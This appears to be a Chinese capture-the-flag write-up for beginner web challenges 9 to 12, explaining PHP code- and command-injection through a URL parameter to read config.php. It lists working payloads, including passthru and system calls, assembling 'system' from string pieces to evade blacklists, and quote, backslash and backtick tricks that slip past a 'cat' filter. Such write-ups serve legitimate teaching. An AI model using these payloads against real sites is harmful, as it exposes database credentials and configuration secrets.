萌新web9
提示是在config.php文件里面
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。
注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!
highlight_file('config.php');
web10:
乍一看和web9一样,但是
查看目录: PHP提供了4种方法执行系统外部命令:exec()、passthru()、system()、shell_exec() ;
与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。
没有发现内容,右击查看页面源码,发现flag
除此之外,还可以用拼凑的方法(变量拼凑+函数动态执行),因为不能用system函数
?c=$a='syst';$b='em';$c=$a.$b;$c('cat config.php');
php开发的系统中,config.php常用于配置文件,如配置网站的数据库连接,网站的参数,全局变量等...
根据黑名单的不同,获取config.php的内容有以下几种方法:
1.命令执行函数
system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec(
?c=passthru('cat config.php');
2.构造
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
3.绕过cat命令
?c=highlight_file('config.php');
?c=system('ca""t config.php');
?c=system("ca''t config.php");
?c=system('ca\t config.php');
web11:
同样的源码,但是方法不对应就做不出来,这时候要对细节扣到位:单引号和双引号再php中大不相同,
PHP中的单引号和双引号在很多时候都是互通的,但是也存在区别:
其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致,
双引号中的内容将会被解释,即解析内容中的变量。
但是双引号中插入单引号,如果变量存在的话,还是可以执行的;如果所包含的变量需要解析时,要使用到双引号。但是再php最好还是使用单引号。
那么这就需要将web10中的单引号换成双引号,这时候引号里面的命令才能够被得到解释:
web12
过滤掉了cat和文件名
但是可以拼凑执行highlight函数或者绕过cat函数
c=passthru("ca''t `ls`");
cat `ls` 相当于将 ls出来的结果cat ,不用直接输入cat。